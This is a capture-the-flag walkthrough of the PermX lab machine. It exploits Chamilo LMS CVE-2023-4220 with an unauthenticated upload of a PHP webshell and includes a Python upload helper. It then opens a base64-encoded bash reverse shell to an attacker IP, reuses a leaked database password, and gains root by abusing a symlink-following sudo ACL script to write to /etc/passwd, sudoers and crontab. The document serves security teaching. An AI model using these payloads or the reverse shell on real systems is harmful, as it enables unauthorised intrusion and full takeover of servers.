Overview

Chamilo LMS 1.11.24, Ubuntu 22.04. Release: 2024-07-06. Retire: 2024-11-02. IP: 10.10.10.x.

Chain: unauthenticated file upload to RCE (CVE-2023-4220), a reused Chamilo database password for the mtz system account, then a symlink-following sudo ACL script for root.

Reconnaissance

Port scan

1
2
nmap -p- --min-rate 10000 10.10.10.x
nmap -p 22,80 -sCV 10.10.10.x

Open ports:

  • 22/tcp: OpenSSH 8.9p1 (Ubuntu 22.04 jammy)
  • 80/tcp: Apache 2.4.52, redirects to http://permx.htb

Subdomain fuzzing

The server routes HTTP requests by the Host header, so fuzz subdomains:

1
2
ffuf -u http://10.10.10.x -H "Host: FUZZ.permx.htb" \
     -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

Found subdomains:

  • www.permx.htb: a static marketing page (HTML)
  • lms.permx.htb: a Chamilo LMS instance
1
10.10.10.x  permx.htb www.permx.htb lms.permx.htb

Identifying the Chamilo version

1
2
http://lms.permx.htb/README.md  -> Chamilo 1.11.x
http://lms.permx.htb/documentation/changelog.html  -> version 1.11.24

Initial Access

CVE-2023-4220, unauthenticated RCE in Chamilo LMS

CVE-2023-4220: unauthenticated remote code execution in Chamilo LMS <= 1.11.24. Type: unrestricted file upload (no extension validation). CVSS 8.1 (High).

Precondition: the directory /main/inc/lib/javascript/bigupload/files/ must exist and be writable.

Upload endpoint:

1
POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported

Parameter: bigUploadFile (multipart/form-data), no extension check.

Step by step:

1
2
# 1. check the directory exists
http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/
1
2
3
# 2. upload a webshell
curl -F '[email protected]' \
  'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

ghost.php:

1
<?php system($_REQUEST['cmd']); ?>
1
2
3
# 3. verify RCE
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/ghost.php?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
1
2
3
# 4. reverse shell
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.x/443 0>&1"' | base64 -w0
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/ghost.php?cmd=echo+<BASE64>|base64+-d|bash'
1
2
3
4
5
6
# 5. TTY upgrade
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset
# Terminal type? screen

Python helper:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests
from urllib.parse import urljoin

def upload_shell(target_url, payload_name='rce.php'):
    upload_url = urljoin(target_url, "main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported")
    files = {'bigUploadFile': (payload_name, '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
    r = requests.post(upload_url, files=files)
    shell_url = urljoin(target_url, f"main/inc/lib/javascript/bigupload/files/{payload_name}")
    print(f"[+] Shell: {shell_url}?cmd=id")
    return shell_url

Lateral Movement

www-data to mtz, credential reuse

The Chamilo configuration file contains database credentials:

1
/var/www/chamilo/app/config/configuration.php
1
2
3
$_configuration['db_host']     = 'localhost';
$_configuration['db_user']     = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';

The database password is reused as the system password for mtz:

1
2
3
su mtz          # password: 03F6lY3uXAP2bkW8
# or
ssh [email protected]   # password: 03F6lY3uXAP2bkW8
1
2
cat /home/mtz/user.txt
# [REDACTED_USER_FLAG]

Privilege Escalation

FACL / acl.sh

1
2
sudo -l
# (ALL : ALL) NOPASSWD: /opt/acl.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

# path validation: only /home/mtz/* and no ..
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# checks that the target is a file (note: -f follows symlinks)
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

Key vulnerability: the -f flag in test/[ follows symlinks. If $target is a symlink to a system file, the script treats it as a file and grants permissions on the target system file. The *..* check blocks path traversal (../../etc/passwd) but does not block symlinks.

Exploitation methods

Method 1, direct read of root.txt (fails):

1
2
3
4
ln -s /root/root.txt /home/mtz/root.txt
sudo /opt/acl.sh mtz rwx /home/mtz/root.txt
cat /home/mtz/root.txt
# cat: root.txt: Permission denied

The ACL on the file is set correctly, but /root/ has drwx------ (only root can enter). Linux checks every path component; without x on /root/ access is blocked before the file’s own permissions are even checked. File permissions do not help if you lack x on the parent directory.

Method 2, write to /etc/passwd:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 1. generate a password hash
openssl passwd -1 newpassword
# result e.g. $1$xyz$hashhash...

# 2. create the symlink
ln -s /etc/passwd /home/mtz/passwd

# 3. grant write via acl.sh
sudo /opt/acl.sh mtz rwx /home/mtz/passwd

# 4. append a new UID 0 user
echo 'hacker:$1$xyz$hashhash...:0:0:pwned:/root:/bin/bash' >> /etc/passwd

# 5. switch to the new user
su hacker
# password: newpassword
# root@permx:/home/mtz#

/etc/passwd line structure: name:password_hash:UID:GID:description:home:shell. UID 0 and GID 0 give root privileges regardless of the account name. openssl passwd -1 is MD5-crypt, -6 is SHA-512.

Method 3, modify /etc/sudoers:

1
2
3
4
ln -s /etc/sudoers /home/mtz/sudoers
sudo /opt/acl.sh mtz rwx /home/mtz/sudoers
echo 'mtz ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
sudo -i

A sudoers syntax error can lock sudo for everyone; visudo is safer.

Method 4, modify /etc/crontab:

1
2
3
ln -s /etc/crontab /home/mtz/crontab
sudo /opt/acl.sh mtz rwx /home/mtz/crontab
echo "* * * * * root chmod 6777 /bin/bash" >> /etc/crontab

cron rejects /etc/crontab if it is group/other writable:

1
(*system*) INSECURE MODE (group/other writable) (/etc/crontab)

Remove mtz’s write permission after editing:

1
sudo /opt/acl.sh mtz - /home/mtz/crontab

After a minute:

1
2
3
4
5
ls -l /bin/bash
# -rwsrwsrwx 1 root root ... /bin/bash

/bin/bash -p   # -p keeps root's EUID
# whoami -> root

Method 5, modify a SetUID binary (fails):

1
2
3
4
5
ln -s /usr/bin/newgrp /home/mtz/newgrp
sudo /opt/acl.sh mtz rwx /home/mtz/newgrp
echo " " >> /usr/bin/newgrp
ls -l /usr/bin/newgrp
# -rwxrwxr-x+ ... (no 's'!)

Linux automatically strips the SetUID bit from a file when it is modified by a non-root user, a deliberate kernel security mechanism.

Linux ACL theory

Standard permissions (ls -l) use owner:group:other. Extended ACLs allow granular control for specific users/groups.

1
2
3
4
5
getfacl file.txt
setfacl -m u:username:rwx file.txt
setfacl -m u:username:- file.txt
# a file with an ACL shows '+' in ls -l:
# -rw-rw-r--+  1 owner group  file.txt

[ -f ] and symlinks:

1
2
3
ln -s /etc/passwd link_to_passwd
[ -f link_to_passwd ] && echo "is a file"      # -> "is a file"
[ -L link_to_passwd ] && echo "is a symlink"   # -> "is a symlink"
  • -f: is the target (after resolving the symlink) a regular file
  • -L: is the path a symlink
  • -d: is the target a directory

Detection and Mitigation

#LessonCategory
1Check publicly readable files (README, changelog) for version identificationRecon
2Fuzz subdomains on virtual hosts; the main domain may not reveal everythingRecon
3Unauthenticated file upload without extension validation is RCEWeb
4Credentials in application config files are often reused for system accountsLateral Movement
5A sudo script using -f on a symlink bypasses path restrictionsPrivEsc
6Writing a UID 0 user to /etc/passwd is a reliable escalationPrivEsc
7cron ignores /etc/crontab when it is group/other writableLinux internals
8The Linux kernel strips SUID after a write by a non-root userLinux internals

Lessons Learned

  • Identify software versions from publicly readable files before searching for exploits.
  • On virtual hosts, fuzz subdomains; the primary vhost may hide the real application.
  • Unauthenticated upload without extension validation equals RCE.
  • Config-file credentials are frequently reused for system accounts.
  • test -f follows symlinks; a sudo script that relies on it can be pointed at any system file.
  • File permissions do not matter if you lack x on a parent directory.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# version identification
curl http://lms.TARGET/README.md
curl http://lms.TARGET/documentation/changelog.html

# webshell upload (CVE-2023-4220)
curl -F '[email protected]' \
  'http://lms.TARGET/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

# password hashes
openssl passwd -1 PASSWORD       # MD5
openssl passwd -6 PASSWORD       # SHA-512

# ACL
getfacl /etc/passwd
setfacl -m u:user:rwx file
setfacl -m u:user:- file

# symlink + sudo FACL exploit
ln -s /etc/passwd /home/mtz/passwd
sudo /opt/acl.sh mtz rwx /home/mtz/passwd
echo 'hacker:HASH:0:0::/root:/bin/bash' >> /etc/passwd
su hacker

# SUID bash (after the cron exploit)
/bin/bash -p

# find SetUID binaries
find / -perm -4000 2>/dev/null

Based on public PermX write-ups and Exploit-DB EDB-52083.